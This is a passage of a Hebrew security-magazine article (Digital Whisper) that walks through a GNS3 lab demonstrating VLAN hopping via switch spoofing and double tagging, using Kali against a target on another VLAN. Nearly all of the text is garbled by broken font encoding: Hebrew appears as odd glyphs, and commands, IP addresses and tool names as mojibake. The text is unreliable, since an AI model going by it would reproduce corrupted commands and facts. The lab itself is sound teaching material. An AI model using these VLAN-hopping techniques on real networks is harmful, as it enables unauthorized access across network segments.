¢ǊŀŎŜǊƻǳǘŜ  ˸ˣ˟ˣ˸˩ ˷˵˟˪ ,5I/t    'ˣ˩ˣ-   x ˞˶˵˸    ˢ˪t/м  ˡˣ˰ ˢ˪ˣ˰˲ˢ ˸˞ ˣ˰˴˟ .н    ˸˞ ˣ˶˴ˣ ˫˧ˬ˰˲t/н  ,

¢ŀǊƎŜǘ . 

 :ˣ˧ˢ˧ˣ ˢˡ˧ˬ˟ ˸ˣ˪˵˸ ˠ˟ˡ˪ ˪˩ˣˮ˷ ˸ˮˬ ˪˰ ˸ˣˮˣ˩ˬˢ ˪˩ ˸˞ ˫˧˶˴ˣ˧ ˣˮ˞ 

¶ PC1 ˢ ˣ˸ˣ˞˟ ˢˮˣ˩ˬ ˢ˧ˢ˸-VLAN ˢ ˸ˮˣ˩ˬ ˪˷-Kali  .˸ˣ˧˲˷ ˞ˡˣˣ˪ ˪˩ˣˮ ˢ˸˶ˤ˰˟ ,ˠ˸ˬˢ ˣ˸ˣ˞˟ˣ ˣˮ˪˷ 
 

¶ PC2  ˢ ˣ˸ˣ˞˟ ˢˮˣ˩ˬ ˢ˧ˢ˸-VLAN  ˢ ˸ˮˣ˩ˬ ˪˷-Kali    ˶˥˞ ˠ˸ˬ˟ ˪˟˞-    ˣˮ˥ˮ˞˷ ˢ˞˶ˮ ˢ˸˶ˤ˰˟

 .˷˶ˡˮˢ ˠ˸ˬ˪ ˠ˸ˬ˸ˢ˪ ˫˧˥˧˪˴ˬ 
 

¶  Target˟ ˢˮˣ˩ˬ ˢ˧ˢ˸-VLAN    .˶˥˞ ˠ˸ˬ˟ ˶˥˞  ˥˧˩ˣ˸ ˢ˧˪˞ ˢ˷˧ˠ ,ˣˮ˪˷ ˡ˰˧ˢ ˸ˮˣ˩ˬ ˢ˧ˢ˸ ˸˞ˤ

 ˸ˣ˷˰˪ ˣˮ˥˪˴ˢ˷VLAN Hopping . 

  

http://www.digitalwhisper.co.il/
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 ˨˶˰˟ ˸ˣ˞˶ˢ˪ ˢ˶ˣˬ˞ ˫˸ˬ˵ˢ˷ ˢ˟˧˟˯ˢ ,ˢ˥˪˴ˢ˟ ˭˞˩˪ ˡ˰ ˫˸˟˵˰ˣ ˢˡ˧ˬ˟ :ˢ˩˩ 

 

˦ˣˣ˧˥ 
 

  ˸˞ ˫˧˷ˮ ,˸ˣˮˣ˩ˬˢ ˪˪˩ ˭˧˟ ˫˧˶ˣ˟˧˥ˢ ˸˞ ˦ˣˣ˥˪ ˵˶ ˣˮ˪ ˶˞˷ˮ ,˸˰˩Yŀƭƛ  -xt/м   ˟-±[!bм    ˪˰{²м  ˸˞ ,

t/н  ˟-±[!bм   ˪˰{²н  ˸˞ˣ ,¢ŀǊƎŜǘ   ˪˰±[!bмл ˟-{²н . 

  ˸˞ ˶˟˥˪˟ ˪˧˥˸ˮt/м   ˪-{²м˟ ˷ˣˬ˧˷ ˧"˰ ˸˞ˤ ˢ˷˰ˮ .-"!ŘŘ ŀ [ƛƴƪ  "-    ˫˵ˣˬˬ˷        ˭ˣ˵˧˧˞ˢ ˸˶ˤ˰˟

 .ˢˮˣ˸˥˸ˢ ˸˧˪˞ˬ˷ˢ ˢˮ˧˲˟ 

  ˢ˟ ˷ˬ˸˷˞ ˧ˮ˞˷ ˸˞ˤ˪ ˢˢˤ ˢ˧ˢ˸ ˸˷˶˟ ˫˩˪˷ ˫˧˶ˣ˟˧˥ˢ ˸ˬ˧˩˯˷ ˣˠ˞ˡ˸ ,˶ˡ˯ ˪˰ ˶ˣˬ˷ˮ˷ ˸ˮˬ ˪˰

 :˸ˣ˧ˡ˧˸˰ˢ ˸ˣ˶ˡˠˢˢ ˫˰ ˣ˩˟˸˯˸ ˞˪ ˨˩ ,˶ˬ˞ˬ˟ 

¶  ˸˞SW1   ˸˞ˣSW2  ˫˰ ˧˸˶˟˧˥Ethernet0/0  .˫ˢˬ ˡ˥˞ ˪˩˟ 

¶  s ˬ ˡ˥˞ ˪˩˪-VPCS    ˡ˥˞ ˸˷˶ ˯˧˦˶˩ ˷˧ύEthernet0 ό  ˸˞ ˧˸˶˟˧˥ ˧ˮ˞ .PC1   ˪-Ethernet0/1  -˟SW1  

  ˸˞PC2  ˪-Ethernet0/1  -˟SW2  ˸˞ˣTarget  -˪Ethernet0/2 ˟-SW2 . 

¶ ˢ ˸ˮˣ˩ˬ ˸˞-Kali  ˪ ˶˟˥˞-Ethernet0/2    ˪˰SW1  ˣ˯ˮ ,ˢˤ ˵˪˥˟ ˸ˣ˧˰˟˟ ˫˧˪˵˸ˮ ˫˸˞ˣ ˢˡ˧ˬ˟ ,

ˢ ˸ˮˣ˩ˬ ˸˞ ˸ˣ˟˩˪-Kali ˦ ˶˷˟ ˢ˪˷ ˭ˣ˵˧˧˞ˢ ˪˰ ˣ˴˥˪ , ˟  ˣ˶˥˟ ,˧ˮˬ˧ ˭˴˥˪ˢ ˫˰ ˦ˣ-Configure  ˫˷ ,

 ˟  ˣ˶˥˟-Network  ˟ ˣˮˬ˯ˣ-V  " ˪˷ ˢ˧˴˲ˣ˞ˢ ˸˞Allow GNS3 to override non custom VMware  

adapter :" 

 

http://www.digitalwhisper.co.il/
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) ˟˸ˮ˪ ˢ˸ˣ˞ ˣ˶˟˥ ,˭˩ˬ ˶˥˞˪9ǘƘŜǊƴŜǘл   ˪  ˢˮˣ˩ˬ˟-9ǘƘŜǊƴŜǘлκн    ˢ˞˴ˣ˸ ˪˟˵˪ ˫˧˶ˣˬ˞ ˫˸˞ .(ˠ˸ˬ˟

 :˸˞ˤ˩ 

 

  ˠ˸ˬˢ ˪˰ ˶˟˩˰ˢ ˸˞ ˣˬ˧˷˸ ˫˞{²м    ˠ˸ˬ ˪˰ˣ{²н    ˪˪˩ ˪˷ ˫ˣ˩˧˯ ˣ˟ˣ ˟ˣˢ˴ ˭ˣ˪˥ ˫˩˪ ˥˸˲ˢ˪ ˶ˣˬ˞

  ˷˞˶ ˟˞˩ ˦˰ˬ ˞˪ ˫˩˪ ˨ˣ˯˥˧ .˭˞˩ ˰˧˲ˣˬ˷ ˢˬ˪ ˫˧ˢˤ ˫ˢ˷ ˣ˞˶˸ˣ ˫ˢ˧˪˰ ˣ˶˟˰˸˷ ˢˣˣ˷ .˫˧˶ˣ˟˧˥ˢJ 

    

  ˣˮ˶ˡˠˢ ˞˪ ˡˣ˰ ,˭˩˷) ˸˷˶ˢ ˢ˸ˣ˞˪ ˸ˣ˶˟ˣ˥ˬ ˸ˣ˧ˢ˪ ˸ˣ˶ˣˬ˞ ˸ˣˮˣ˩ˬˢ ˪˪˩ ˢˤ ˟˪˷˟±[!b-  ˣ˞ˣ˟ ,(˫˧

  ˸ˣ˟ˣ˸˩ ˭˪ˣ˩˪ ˶˧ˡˠˮLt    ˦ˮ˟˞˯˟ ˸˟ˣ˸˩ ˫˪ˣ˩˪ ˶˧ˡˠˮ .ˢ˧ˮ˷ˢ ˫˰ ˸˶˥˞ ˶˟ˡ˪ ˸ˣ˪ˠˣ˯ˬ ˭˩˞ ˭ˢ˷ ˢ˞˶ˮˣ

млΦлΦлΦмκнп ˢ ˸ˮˣ˩ˬ :˞˟ˢ ˭˲ˣ˞˟-Yŀƭƛ   :˸˞ ˪˟˵˸млΦлΦлΦмот s  ˸ˮˣ˩ˬ ,-t/м  ˸˞ ˪˟˵˸млΦлΦлΦм  ˸ˮˣ˩ˬ ,

t/н  ˸˞ ˪˟˵˸млΦлΦлΦн ˢ ˸ˮˣ˩ˬˣ-¢ŀǊƎŜǘ  ˸˞ ˪˟˵˸млΦлΦлΦмл . 

  ˸˟ˣ˸˩ ˶˧ˡˠˢ˪  ˸ˮˬ ˪˰Lt  ˢ ˸ˣˮˣ˩ˬ˪-±t/{    ˤ˞ˣ  ˧ˮ˧ˬ˧ˢ ˭˴˥˪ˢ ˫˰  ˣ˞)  ˫˧˧ˬ˰˲  ˭ˢ˧˪˰  ˳ˣ˥˪˪ ˷˧

"/ƻƴǎƻƭŜ  ˸˯˶ˠ  ˫˩˪  ˥˸˲ˢ˪  ˢ˶ˣˬ˞  ,("tǳǘǘȅ    ˪˷)  ˸˧˯˥˧  ˸˸ˣˣ˰ˬ{ƻƭŀǊǿƛƴŘǎ  ˣ˴˶˸ˣ  ˢˡ˧ˬ˟  ,(...

  ˷ˬ˸˷ˢ˪ˢ ˸ˮˣ˩ˬ˪ ˸ˣ˶˟˥˸ˢ ˧"˰ ˸ˣˮˣ˩ˬˢˬ ˸˥˞ ˪˩˪ ˶˟˥˸ˢ˪ ˣ˪˩ˣ˸ ,˫˩˪˷ ˦ˮ˧˧˪˵˟-Db{о    ˦˶ˣ˲˟

 .˫˧˟˧˩˶ˢˬ ˡ˥˞ ˪˩ ˶ˣ˟˰ ˢ˴˵ˣˢ˷ 
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 :ˢ˪˰ˬ˪ ˭˧ˬ˧ ˡ˴˟ ˸˞˴ˬˮˢ ˢ˧˟ˣ˵˟ ˣ˴˵ˣˢ˷ ˫˧˦˶ˣ˲ˢ ˸˞ ˸ˣ˞˶˪ ˭˸˧ˮ 

 

  ˵˷ˬˬ ˫˸˪˟˧˵˷ ˸ˣ˞˶˪ ˣ˪˩ˣ˸ ,ˢ˥˪˴ˢ˟ ˫˸˶˟˥˸ˢ˷ ˶˥˞˪/[L  :˸ˣˡˣ˵˲ˢ ˸˞ ˣˡ˧˪˵ˢ ,˸˧˯˥˧ ˭ˣˣˮˬ 

ƛǇ млΦлΦлΦмκнп 
ǎŀǾŜ 

 s  ˸˟ˣ˸˩ ˸˞ ˶˧ˡˠˢ˪ ˸ˮˬ ˪˰-Lt   ,(ˢˮˣ˩ˮˢ ˢˮˣ˩ˬ˪ ˫˧˶˟ˣ˥ˬ ˫˸˞˷ ˟˪ ˣˬ˧˷) ˶˧ˡˠˢ˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˫˸˞˷

 :ˣˡ˧˪˵ˢ ,˭˩ˬ ˶˥˞˪ˣ 

ǎƘƻǿ ƛǇ 

 
:ˢˤ˩ ˣˢ˷ˬ ˪˟˵˪ ˫˧˶ˣˬ˞ ˫˸˞ 
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  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  мп 
 

 ˟  ˫ˠ ˢ˪ˣ˰˲ˢ ˪˰ ˣ˶ˤ˥-±t/{  ˢ ˸ˣ˟ˣ˸˩ ˫˰ ˧˷˧˪˷ˢˣ ˧ˮ˷ˢ-Lt  ) ˸ˣˬ˧˞˸ˬˢмлΦлΦлΦн   x-млΦлΦлΦмл  ˶˥˞˪ .(

˪ ˠˮ˧˲ ˣ˰˴˟ ˭˩ˬ-млΦлΦлΦм   :˸ˣ˟ˣ˷˸ ˫˧˪˟˵ˬ ˭˩˞ ˫˸˞˷ ˣ˞ˡˣˣ˸ˣ 

 

ˢ ˸ˮˣ˩ˬ ˸˞ ˠ˲ˮ˵˪ ˶˞˷ˮ ˸˰˩ ,ˢ˪ˣ˰ˬ-Yŀƭƛ    ˫˧˩˧˶˴ ˫˸˞˷ ˢˡˣ˵˲ˢ .ˢ'˶˟˥ˢ ˸˷ˣ˪˷˪ ˫˧ˠˮ˧˲ ˥ˣ˪˷˪ˣ

 :˞˧ˢ 

ƛŦŎƻƴŦƛƎ ŜǘƘл млΦлΦлΦмотκнп 

ˢ ˸ˣ˷˵˟˪ ˸ˣ˟ˣ˷˸ ˫˧˪˟˵ˬ ˫˸˞ ˫˞-L/at  ˫˩˪˷-   ˣ˯ˮ˩ .˟˴ˬˢ ˞˪ ˢˤ ˫˞ .˨˧˷ˬˢ˪ ˶˷˲˞ ,ˢ˪ˣ˰ˬ ˪˩ˢ

-˟Db{о  ˪Υ 

9Řƛǘ-ҔtǊŜŦŜǊŜƴŎŜǎ-Ҕ±a²ŀǊŜ-Ҕ!ŘǾŀƴŎŜŘ [ƻŎŀƭ {ŜǘǘƛƴƎǎ 

  ˪˷ ˥ˣˣ˦ ˣ˶˥˟˸ ˫˷н    ˧˵˷ˬˬ±abŜǘ  ˟ ˣ˶˥˟ ,˫ˢ˟ ˫˧˷ˬ˸˷ˬ ˞˪ ˫˸˞˷-/ƻƴŦƛƎǳǊŜ  ,ˢ˪ˣ˰˲ˢ ˶ˬˠ˟ .

 s  ˸ˮˣ˩ˬ ˸˞ ˣ˶˟˥-Yŀƭƛ  ˢ ˣ˸ˣ˞˪ ˫˩˪˷-±abƛŎˢˬ ˢ˸ˣ˞ ˣ˵˥ˬ ,-Db{о  ˣ  ˳ˬ˷ ˧˪ ˭˧˞ .˷ˡ˥ˬ ˢ˸ˣ˞ ˣ˶˶ˠ

 ˢ˸ˣ˞ ˶˦ˣ˲ ˢˤˢ ˵˧˶˦ˢ ˢˬ˪ ˣ˞ ˢ˧˰˟ˢ ˢˬ-  ˡ˟ˣ˰ ˢˤ ˪˟˞J 

  ˸ˣˮˣ˩ˬˢ ˪˪˩ ˪˞ ˸ˣˮˣ˩ˬˢ ˪˪˩ˬ ˠˮ˧˲ ˣˮ˪ ˷˧˷ ˞ˣˢ ˰ˠ˶˩ ˟˴ˬˢ ˤ˞-    .˸˷˶ˢ ˢ˸ˣ˞˟ ˣˮ˪ˣ˩˷ ˶ˬˣ˞˷ ˢˬ

˟ ˡ˧˪˵ˮˣ ˸ˣˮˣ˩ˬˢ ˶˞˷˪ ˸ˣˮˣ˩ˬˢ ˸˥˞ˬ ˠˮ˧˲ ˢ˷˰ˮ ˣ˞ˣ˟ :ˢˮˣ˶˥˞ ˢ˵˧ˡ˟ ˢ˷˰ˮ-/ƻƴǎƻƭŜ    ˪˷{²м  -x

{²н  :ˢˡˣ˵˲ˢ ˸˞ 

ǎƘƻǿ ƳŀŎ ŀŘŘǊŜǎǎ-ǘŀōƭŜ 

 ˪˰ ˢˤ˩ ˣˢ˷ˬ ˸ˣ˞˶˪ ˫˧˶ˣˬ˞ ˫˸˞{²м : 
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  ˪˰ ˢˤ˩ˣ{²н : 

 

ˢ ˸ˣ˟ˣ˸˩ ˸˰˟˶˞ ˸˞ ˡˬ˪ ˠ˸ˬˢ˷ ˸ˣ˞˶˪ ˶˷˲˞-a!/  ˢ ˣ˸ˣ˞˟ ˫˪ˣ˩ˣ ,˫˧ˮˣ˩ˮˢ ˫˧ˤ˧˲ˢ ˫˧˦˶ˣ˲ˢˬ-

±[!b ˷  ˸ˣ˞˶˪ ˶˷˲˞ .-{²м  ˢ ˸˞ ˡˬ˪-a!/    ˪˷t/н    ˪˷ˣ¢ŀǊƎŜǘ  -ˬ9ǘлκл    ˶˟ˣ˥ˬ ˣ˧˪˞ ˦˶ˣ˲ˢ ˢˤ˷)

{²н˷ ˸ˣ˞˶˪ ˶˷˲˞ ˪˧˟˵ˬ˟ˣ ,(-{²н  ˢ ˸˞ ˡˬ˪-a!/    ˪˷t/м  ˢ ˸ˮˣ˩ˬ ˪˷ˣ-Yŀƭƛ    ˨˶ˡ9ǘлκл    ˢˤ˷)

 ˶˟ˣ˥ˬ ˣ˧˪˞ ˦˶ˣ˲ˢ{²м .( 

  ˫˩˪˴˞ ˟˴ˬˢ ˫ˠ ˢˤ ˫˞-    ˸˞ ˶˧˟˰ˮ ˣ˞ˣ˟ !˫ˡ˵˸ˢ˪ ˶˷˲˞ ,ˢ˪ˣ˰ˬ ˪˩ˢ¢ŀǊƎŜǘ   ˟  ˞˴ˬˮ˷)-9ǘлκм  ˪˞ (

 ˪  ˳ˣ˥ˬ-±[!bм˪ ˣ˸ˣ˞ ˶˧˟˰ˮ ˣ˞ˣ˟ ,-±[!bмл ˰  . ˟  ˠˣ˲ˮ˵ ˟˴ˬ˪ ˯ˮ˩ˮ ,˸˞ˤ ˸ˣ˷˰˪ ˸ˮˬ ˪-{²н : 

{²м#ŎƻƴŦ ǘ 
{²мόŎƻƴŦƛƎύІ Ǿƭŀƴ мл 
{²мόŎƻƴŦƛƎ-ǾƭŀƴύІƴƻ ǎƘǳǘ 
{²мόŎƻƴŦƛƎ-ƛŦύІŜȄƛǘ 

{²нόŎƻƴŦƛƎύІƛƴǘŜǊŦŀŎŜ ŜǘƘŜǊƴŜǘ лκм 
{²нόŎƻƴŦƛƎ-ƛŦύІǎǿƛǘŎƘǇƻǊǘ ƳƻŘŜ ŀŎŎŜǎǎ 
{²нόŎƻƴŦƛƎ-ƛŦύІǎǿƛǘŎƘǇƻǊǘ ŀŎŎŜǎǎ Ǿƭŀƴ мл 
{²нόŎƻƴŦƛƎ-ƛŦύІŜȄƛǘ 

 :˫˧ˠ˸ˬˢˬ ˡ˥˞ ˪˩ ˪˰ ˡ˧˪˵ˮ ˸˰˩ 

ǎƘƻǿ Ǿƭŀƴ ōǊ 

˨˧˶˴˷ ˣˬ˩ ˪˩ˢ ˣˮ˧˷˰˷ ˭ˣ˥˟˪ ˧ˡ˩ - ˢˤ˩ ˣˢ˷ˬ ˸ˣ˞˶˪ ˫˧˶ˣˬ˞ ˣˮ˥ˮ˞   ˪˰{²м : 

 

  ˪˰ ˢˤ ˸˞ˣ{²н : 
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 s  ˸˞ ˸ˣ˞˶˪ ˶˷˲˞-±[!b- ˷  ˭˩ˣ ˫˧˟˧˩˶ˢ ˪˰ ˫˧-9ǘлκм   x-9ǘлκн  -˟±[!bм    ˪˰{²м  ˸˞ˣ-9ǘлκм   ˟  ˶ˡˠˣˬ-

±[!bм   ˪˰{²н   ˸˞ˣ9ǘнκл    ˶˟ˣ˥ˬ ˣ˧˪˞˷¢ŀǊƎŜǘ   ˪˞±[!bмл . 

  ˫˧˦˶ˣ˲˪ ˠˣ˞ˡ˪ ˵˶ ˣˮ˪ ˶˞˷ˮ9ǘлκл ˩ ˫˸ˣ˞ ˶˧ˡˠˢ˪ˣ ˫˧ˠ˸ˬˢ ˧ˮ˷˟-¢Ǌǳƴƪ   ˶˧˟˰ˢ˪ ˷˧˷ ˣ˰ˡ˧˧ ˫ˢ˧ˮ˷˷ ˨˩

ˢ ˱ˣ˪˧˵ ˞˪˪ ˸ˣ˪˧˟˥ˢ ˸˞-±[!b ¢ŀƎ  ˣ˯ˮ˩ .ˡ˥˞ ˪˩˪  :ˣˡ˧˪˵ˢˣ ˫˧ˠ˸ˬˢˬ 

{²м#ŎƻƴŦ ǘ 
{²мόŎƻƴŦƛƎύІƛƴǘŜǊŦŀŎŜ ŜǘƘŜǊƴŜǘ лκл 
{²мόŎƻƴŦƛƎ-ƛŦύІǎǿƛǘŎƘǇƻǊǘ ǘǊǳƴƪ ŜƴŎŀǇǎǳƭŀǘƛƻƴ Řƻǘмǉ 
{²мόŎƻƴŦƛƎ-ƛŦύІǎǿƛǘŎƘǇƻǊǘ ƳƻŘŜ ǘǊǳƴƪ 
{²мόŎƻƴŦƛƎ-ƛŦύІŜȄƛǘ 

{²мόŎƻƴŦƛƎύІŜȄƛǘ 

:ˢˡˣ˵˲ˢ ˸˞ ˣˡ˧˪˵ˢ ,˭˩ˬ ˶˥˞˪ 

ǎƘƻǿ ƛƴǘŜǊŦŀŎŜ ǘǊǳƴƪ 

 ˭˩˞˷ ˢ˞˶ˮˣ9ǘƘŜǊƴŜǘ лκл  ˟  ˞˴ˬˮ-¢Ǌǳƴƪ : 

 

  :ˣˮ˧˪˰ ˢ˰˲˷ˢˢ ˸˞ ˭˥˟ˮ ˣ˞ˣ˟ 

¶  s  ˸ˮˣ˩ˬˬ ˠˮ˧˲ ˥ˣ˪˷˪ ˣ˯ˮ-Kali    ˪˞10.0.0.1    ˢˮˣ˩ˬˢ)PC1ˢ ˣ˸ˣ˞˟ ˣˮ˸˧˞ ˸˞˴ˬˮ˷ ,-VLAN( -    ˣˮ˥ˮ˞

 ˢˮˣ˩ˬˢ ˧˟ˠ˪ ˪"ˮ˩ .˧ˣˮ˧˷ ˫ˣ˷˟ ˷˧ˠ˶ˢ˪ ˫˧˶ˣˬ˞ ˞˪PC2 Φ 

¶ ˢ ˸ˮˣ˩ˬˬ ˠˮ˧˲ ˥ˣ˪˷˪ ˢ˯ˮˮ ˫˞ ,˸˞ˤ ˸ˬˣ˰˪-Kali    ˪˞10.0.0.10    ˢˮˣ˩ˬˢ)Target˟ ˸˞˴ˬˮ˷ ,-

VLAN10  (-   .˥˧˪˴ˢ˪ ˫˧˶ˣˬ˞ ˞˪ ˣˮ˥ˮ˞ 

  ˫˩˪˴˞ ˫ˠ ˟˴ˬˢ ˢˤ ˫˞-    ˪˷ ˢ˧˴˶ˣˠ˧˲ˮˣ˵ˢ ˸˞ ˣ˶ˬ˷ ,ˢˡ˟˰ˬˢ ˸˞ ˭˧˩ˢ˪ (...˫˧˧˸ˮ˧˟˪) ˫˸ˬ˧˧˯ !˸ˣ˩˶˟

{²м  ˧˶˥˞ ˫ˠ ˢ˪˰˸˷ ˨˩wŜōƻƻǘ  :˟˧˩˶ˢ ˪˷ 

{²мІ ŎƻǇȅ ǊǳƴƴƛƴƎ-ŎƻƴŦƛƎ ǎǘŀǊǘǳǇ-ŎƻƴŦƛƎ 

  ˣ˰˴˟{ǘƻǇ    ˫˩˪˴˞ ˟˴ˬˢ ˞˪ ˢˤ ˫˞ .˦˵˧ˣ˶˲ˢ ˸˞ ˣ˶ˬ˷ˣ-    ˸ˣ˪ˣ˰˲ˢ ˸˞ ˣ˰˴˟ˣ ˫˸˧˰˦ ˭˩˧ˢ ˭˧˟ˢ˪ ˣ˯ˮ

 .˷˶ˡˮˢ ˟˴ˬ˪ ˣ˰˧ˠ˸˷ ˸ˮˬ ˪˰ ˸ˣ˷˶ˡˮˢ 

ˣ˧˪˞ ˟˪ ˧˸ˬ˷˷ ˭˦˵ ˲˧˦ˢ ˫˞ :-Db{о  ˪ ˶˟˥˸ˢ˪ ˥˧˪˴ˬ ˞˪ ˫ˣ˞˸˲-ƎƴǎоǎŜǊǾŜǊΦŜȄŜ   ˪  ˣ˞-Db{о ±a  ,

 ˟  ˣ˯ˮ-ƴŎǇŀΦŎǇƭ    ˸ˣ˷˰˪5ƛǎŀōƭŜ   x-9ƴŀōƭŜ  ˶ˡ˷ ˧˪˞ˣ˦˶˧ˣˢ ˵˷ˬˬ˪  ˦˰ˬ ˞˪ ˶˦˲ ˢˤ ˧˪˴˞ .˫˧˶˟ˣ˥ˬ ˫ˢ ˣ˩

 .ˣ˴˴ ˭ˢ˷˩ ˸ˣ˧˰˟ˢˬ 
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±[!b IƻǇǇƛƴƎ 

  ˫˴˰˟ ˢˤ ˢˬ ˤ˞±[!b IƻǇǇƛƴƎ  ...˷ ˫˩˪ ˡ˧ˠˢ˪ ˪ˣ˩˧ ˧ˮ˞ ˭˞˩˪ ˫˸˰ˠˢ˷ ˧˶˥˞ .˫˸˪˞˷˷ ˟ˣ˦ ,ˢ˲˧ ?

±[!b IƻǇǇƛƴƎ    ˭˧˟ ˠ˪ˡ˪ ˨˶ˡ ˸ˬ˞˟ ˭˧˞ ,˭ˣ˩ˮ ˫˸˰ˬ˷ ,˭˩ .˫˧˧˵ ˞˪ ˦ˣ˷˲±[!b    ˫ˠ ˢˤˣ) "˸˧˰˟˦" ˢ˶ˣ˴˟

  ˧ˮˣ˧ˠˢ ˧ˡ-    ˸˞ˤ ˸ˣ˷˰˪ ˨˶ˡ ˞˴ˬ˧ ˣˢ˷˧ˬˣ ˢˡ˧ˬ˟ ,˫˧˧˵˸ˢ˪ ˢˤ˩ ˟˴ˬ˪ ˣ˶˷˲˞˧ ˞˪ ˸˷˶ˢ ˡˣ˧˴ ˸ˣ˧ˮ˶˴˧-  

 .˨˧˶˴˷ ˣˬ˩ ˸ˠ˲ˮˣ˵ˬ ˸˷˶ˢ ˶˷˞˩ (ˢ˲˵˸ˬ˪ ˫˧ˮˣ˩ˡ˰ ˣ˞˧˴ˣ˧ ˶˷˧ ˸ˣ˧ˮ˶˴˧ˢ !ˢ˲ˣ˶˦˯˦˵ ˢ˧ˢ˸ ˸˞ˤ 

  ˧ˮˬ ˪˩ ˪˷ ˪ˣ˴˧ˮ ˪˰ ˶˟ˡ˪ ˫˧˩˪ˣˢ ˣˮ˥ˮ˞ ?˶˟ˡ˪ ˫˧˩˪ˣˢ ˭˩ ˣˮ˥ˮ˞ ˢˬ ˪˰ ...ˤ˞aƛǎŎƻƴŦƛƎŀǘƛƻƴǎ    ˫˧˸˧˰˪˷

 s  ˭˧˟ ˠ˪ˡ˪ ˧ˡ˩ ˭˸ˣ˞ ˪˴ˮ˪ˣ ˭ˢ˟ ˪˵˸ˢ˪ ˭˸˧ˮ-±[!b-ˢ ˸ˣˣ˴ ˫ˢ˟ ˫˧˶˵ˬ .˫˧ˮˣ˷ˢ ˫˧-bŜǘǿƻǊƪ    ˥˩˷

 .˭˪˴˰ ˢ˧ˢ ˫˸˯ ˣ˞ ˸ˣˮ˪˷˶˟ ˠ˸ˬˢ ˸˞ ˠ˲ˮ˵ ,˸ˬ˧ˣ˯ˬ ˢ˶ˡˠˢ 

5ƻǳōƭŜ ¢ŀƎƎƛƴƎ 

ˤˢ ˢ˶˵ˬ˟˩ ˶ˡˠˣˬˢ ˦˶ˣ˲˟ ˶˟ˣ˥ˬ ˱˵ˣ˸ˢ ˢ-!ŎŎŜǎǎ    ˣ˰˧ˠ˧ ˥˪ˣ˷ ˞ˣˢ˷ ˸ˣ˪˧˟˥ˢ˷ ˸ˮˬ ˪˰ :˰ˬ˷ˬ)

  ˫ˡ˰˧˪ ˢ˟ˣ˦ ˢ˶ˣ˴˟-    ˞ˣˢˣˮ˧˞    ˫ˣ˷ ˸˥˸ ˭˸ˣ˞ ˠ˧˧˸˪ ˨˧˶˴±[!b˪ ˠ˪ˡ˪ ˸ˮˬ ˪˰ ˨˞ ,(-±[!b    ˶˥˞

  ˢˮˣ˷˞˶ˢ ˫˰˲˟ :˫˧˧ˬ˰˲ ˣ˵ˢ ˪˰ ˥˪ˣ˷ ˞ˣˢ˷ ˸ˣ˪˧˟˥ˢ ˸˞ ˱˦ˣ˰ ˱˵ˣ˸ˢ ,˸ˣ˪˧˟˥ ˣ˧˪˞ ˥ˣ˪˷˪ ˥˧˪˴ˢ˪ˣ

˲ˢ ˢ˟˩˷ˢ) s  ˫˰ (˸˧ˬ˧ˮ-±[!b L5    (˸˧ˮˣ˴˧˥ˢ ˢ˟˩˷ˢ) ˢ˧ˮ˷ˢ ˫˰˲˟ˣ ˣ˧˪˞ ˰˧ˠˢ˪ ˭˧˧ˮˣ˰ˬ ˞ˣˢ˷-   s  ˫˰-

bŀǘƛǾŜ ±[!b    ˠ˸ˬˢ ˪˰ ˶ˡˠˣˢ˷ˢ ˦˶ˣ˲˟-¢Ǌǳƴƪ    ˪˞ ˶˟ˣ˥ˬ ˣ˧˪˞ ˫˧˶˟ˣ˥ˬ ˣˮ˥ˮ˞˷ ˠ˸ˬˢ ˣ˩˶ˡ˷

  .˸˶˟ˣ˥ˬ ˣˮ˪˷ ˢ˶˦ˬˢ ˣ˧˪˞ ˠ˸ˬˢ :ˣˮ˪˷ ˢˡ˟˰ˬ˟ ˣˬ˩ ˵ˣ˧ˡ˟ 
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 -     ±[!b IƻǇǇƛƴƎ 
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  му 
 

 ˟  .ˢ˪˧˟˥˪ ˢ˶ˣ˵ ˢˬ ˟˪˷ ˟˪˷ ˢ˞˶ˮ ˣ˞ˣ˟ ,˫˧˧ˬ˰˲ ˸ˠ˧ˣ˸ˬˢ ˢ˪˧˟˥ ˥˪ˣ˷ ˱˵ˣ˸ˢ˷ ˣˮ˶ˬ˞ ˤ˞-Db{о    ˷˧

˰ ˧˴˥˪ .˫˧˦˵˧˧˟ˣ˞ ˧ˮ˷ ˭˧˟ ˶ˣ˟˧˥ ˪˩ ˪˰ ˢ˲ˮ˯ˢ ˰˴˟˪ ˣˮ˪ ˶˷˲˞ˬ˷ ˥ˣˮ ˡˣ˞ˬ ˧˪˩  ˣ˵ˢ ˪˰ ˧ˮˬ˧ˢ ˭˴˥˪ˢ ˫

ˢ ˸ˮˣ˩ˬ ˭˧˟ ˶˟˥ˬ˷-Yŀƭƛ    ˭˧˟˪{²м  ˢ˧˴˲ˣ˞˟ ˣ˶˥˟ ,{ǘŀǊǘ /ŀǇǘǳǊŜ  ˫˩˪ ˥˸˲˧ˣ ,²ƛǊŜǎƘŀǊƪ    ˠ˧˴˧˷ ˟˧˧˪˟

 :ˣ˵ˢ ˪˰ ˸˶˟ˣ˰ˢ ˢ˶ˣ˟˰˸ˢ ˪˩ ˸˞ 

 

  ˣˬ˩) ˫˧˧ˡˣ˰˧ ˫˧˪˩ ˫˰ ˢˤ ˸˞ ˸ˣ˷˰˪ ˶˷˲˞ .˫˧ˬ˰˲ ˸ˠ˧ˣ˸ˬˢ ˢ˪˧˟˥ ˥ˣ˪˷˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˣˮ˥ˮ˞¸ŜǊǎƛƴƛŀ  ,

  ˸ˣ˲˵˸ˬ ˶˲˯ˬ ˷ˬˬ˪ ˡ˰ˣˮ˷[ŀȅŜǊн  ˫˰ ˫ˠ ˢˤ ˸˞ ˸ˣ˷˰˪ ˶˷˲˞ ,({ŎŀǇȅ    ˫˸˞ ˫˞ ˪˟˞ .˭ˣ˸˧˧˲˟

 :ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟ ˫˩˪ ˷˧˷ ˫˧˧˯˧˯˟ ˫˧˪˩ ˸ˣ˰˴ˬ˞˟ ˫ˠ ˢˤ ˸˞ ˸ˣ˷˰˪ ˫˧˪ˣ˩˧ ˫˸˞ ˯˵ˣˮ˧˪˟ ˫˧˷ˬ˸˷ˬ 

